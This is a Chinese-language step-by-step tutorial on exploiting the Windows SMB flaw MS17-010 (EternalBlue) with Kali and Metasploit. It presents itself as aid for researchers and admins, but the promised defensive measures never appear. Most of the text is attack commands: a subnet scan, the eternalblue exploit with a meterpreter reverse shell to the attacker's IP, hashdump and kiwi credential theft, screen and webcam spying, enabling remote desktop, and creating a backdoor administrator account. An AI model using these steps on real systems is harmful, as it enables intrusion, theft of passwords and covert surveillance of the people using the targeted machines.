永恒之蓝漏洞复现

详细演示Windows SMB漏洞MS17-010(永恒之蓝)的复现过程,包括漏洞原理、影响范围、利用步骤和防御措施,帮助安全研究人员和系统管理员理解此漏洞的危害和防护方法。


(一)什么是永恒之蓝?

  • 定义:永恒之蓝(Eternal Blue)是一种利用 Windows 系统 SMB 协议漏洞(通常使用 139、445 端口)的攻击方式,攻击者通过该漏洞可获取系统最高权限,进而控制被入侵计算机。

  • 影响范围

    • 2017 年 5 月 12 日,不法分子改造"永恒之蓝"制作了 WannaCry 勒索病毒,导致全球范围内大量机构(包括学校、大型企业和政府机构)遭受攻击。
    • 被攻击设备被锁定,要求支付 300 美元比特币赎金,否则删除文件。
    • 攻击通过扫描开放 445 端口的 Windows 机器,无需用户操作,开机上网即可被植入勒索软件、远程控制木马等恶意程序。
    • 受影响国家包括乌克兰、俄罗斯、西班牙、法国、英国等,重要基础设施(政府、银行、电力系统等)均被波及。

(二)受影响的系统版本

  • 桌面操作系统

    • Windows XP
    • Windows Vista
    • Windows 7
    • Windows 8
    • Windows 8.1
    • Windows 10
  • 服务器操作系统

    • Windows Server 2000
    • Windows Server 2003
    • Windows Server 2008
    • Windows Server 2012
    • Windows Server 2016
  • 备注:是否受影响取决于是否安装了对应的补丁。

二、永恒之蓝攻击步骤

(一)内网扫描存活机器

  • 命令

    1
    
    nmap -sS -p 445 192.168.110.0/24 > p_445
    
  • 解释

    • 使用 nmap 工具进行半开放扫描(-sS),扫描指定网段(192.168.110.0/24)内开放 445 端口的主机。
    • 扫描结果保存到文件 p_445 中。
  • 目的:找出内网中可能存在的目标主机。

(二)确定攻击目标

  • 操作:筛选出开放 445 端口的存活机器,确定攻击目标。

(三)测试目标连通性

  • 命令

    1
    
    ping [目标IP]
    
  • 解释:通过 ping 命令测试目标主机的网络连通性,确保目标主机可达。

(四)打开 Kali 数据库

  • 命令

    1
    2
    3
    
    service postgresql status
    service postgresql start
    service postgresql status
    
  • 解释

    • 查看 PostgreSQL 数据库服务的状态。
    • 如果未开启,则启动数据库服务。
    • 再次确认数据库服务已成功启动。

(五)数据库初始化

  • 命令

    1
    
    msfdb init
    
  • 解释:初始化 Metasploit 框架的数据库,为后续攻击做准备。

(六)启动 msf 工具

  • 命令

    1
    
    msfconsole
    
  • 解释:启动 Metasploit 框架的控制台。

(七)搜索永恒之蓝漏洞

  • 命令

    1
    
    search ms17_010
    
  • 解释:在 Metasploit 框架中搜索与 MS17-010 漏洞相关的模块。

(八)选择扫描模块

  • 命令

    1
    2
    
    use auxiliary/scanner/smb/smb_ms17_010
    use exploit/windows/smb/ms17_010_eternalblue
    
  • 解释

    • auxiliary/scanner/smb/smb_ms17_010:用于扫描目标主机是否存在 MS17-010 漏洞(Proof of Concept,PoC 扫描)。
    • exploit/windows/smb/ms17_010_eternalblue:用于实际利用 MS17-010 漏洞的攻击模块。

(九)设置扫描基本配置

  • 命令

    1
    2
    3
    
    set rhost [目标IP]
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost [攻击机IP]
    
  • 解释

    • rhost:设置目标主机的 IP 地址。
    • payload:设置攻击载荷,这里使用的是 windows/x64/meterpreter/reverse_tcp,即 64 位 Windows 系统的 Meterpreter 反向 TCP 连接。
    • lhost:设置攻击机的 IP 地址,用于接收目标主机的 Meterpreter 连接。

(十)开始攻击

  • 命令

    1
    2
    
    run
    exploit
    
  • 解释:执行攻击,利用 MS17-010 漏洞入侵目标主机。

(十一)攻击生效

  • 操作:攻击成功后,可进行以下操作:

    • 文件上传下载
    • 获取截屏
    • 获取密码
    • 开启摄像头
    • 后门持久化等

三、漏洞利用

(一)截屏

  • 命令

    1
    
    screenshot
    
  • 解释:通过 Meterpreter 的 screenshot 命令获取目标主机的屏幕截图,截图保存在攻击机的 /home/mz/ 目录下。

(二)获取账号密码

  • 命令

    1
    2
    3
    4
    5
    
    hashdump
    load kiwi
    ps -S "csrss"
    migrate [进程号]
    creds_all
    
  • 解释

    • hashdump:获取目标主机的用户名及加密密码。
    • load kiwi:加载 Kiwi 模块,用于获取更详细的凭证信息。
    • ps -S "csrss":搜索 csrss.exe 进程,获取其进程号。
    • migrate [进程号]:将 Meterpreter 迁移到指定进程,获取更高的权限(如 SYSTEM 权限)。
    • creds_all:获取目标主机的所有凭证信息,包括解析加密密码。

(三)实时监控

  • 命令

    1
    2
    
    run vnc
    screenshare
    
  • 解释

    • run vnc:启动 VNC 服务,用于远程桌面监控。
    • screenshare:共享屏幕,实时查看目标主机的屏幕操作。

(四)开启摄像头

  • 命令

    1
    
    webcam_stream
    
  • 解释:通过 Meterpreter 的 webcam_stream 命令开启目标主机的摄像头,实时监控。

四、后渗透阶段

(一)Shell 连接目标机器

  • 命令

    1
    
    shell
    
  • 解释:通过 Meterpreter 的 shell 命令获取目标主机的命令行交互界面。

(二)消除乱码

  • 命令

    1
    
    chcp 65001
    
  • 解释:在目标主机上设置字符编码为 UTF-8,避免乱码问题。

(三)开启目标远程桌面服务

  • 命令

    1
    
    wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
    
  • 解释:通过 Windows Management Instrumentation Command-line(WMIC)工具开启目标主机的远程桌面服务(默认端口 3389)。

(四)查看端口开启状态

  • 命令

    1
    
    netstat -an
    
  • 解释:查看目标主机的网络连接状态,确认远程桌面服务端口(3389)是否已开启。

(五)远程桌面连接

  • 命令

    1
    
    rdesktop [目标IP]
    
  • 解释:使用 rdesktop 工具连接目标主机的远程桌面服务。

(六)登录账号密码

  • 操作

    • 如果目标主机已有账号密码,直接使用。

    • 如果没有,可通过以下命令新建用户并提升为管理员:

      • 创建用户

        1
        
        net user hack 123456 /add
        
      • 提升为管理员

        1
        
        net localgroup administrators hack /add
        

图形化建议

你可以根据上述内容绘制以下流程图:

  1. 攻击流程图

    • 内网扫描存活机器 → 确定攻击目标 → 测试目标连通性 → 打开 Kali 数据库 → 数据库初始化 → 启动 msf 工具 → 搜索漏洞 → 选择扫描模块 → 设置扫描配置 → 开始攻击 → 攻击生效。
  2. 漏洞利用流程图

    • 截屏 → 获取账号密码 → 实时监控 → 开启摄像头。
  3. 后渗透阶段流程图

    • Shell 连接目标机器 → 消除乱码 → 开启远程桌面服务 → 查看端口状态 → 远程桌面连接 → 登录账号密码。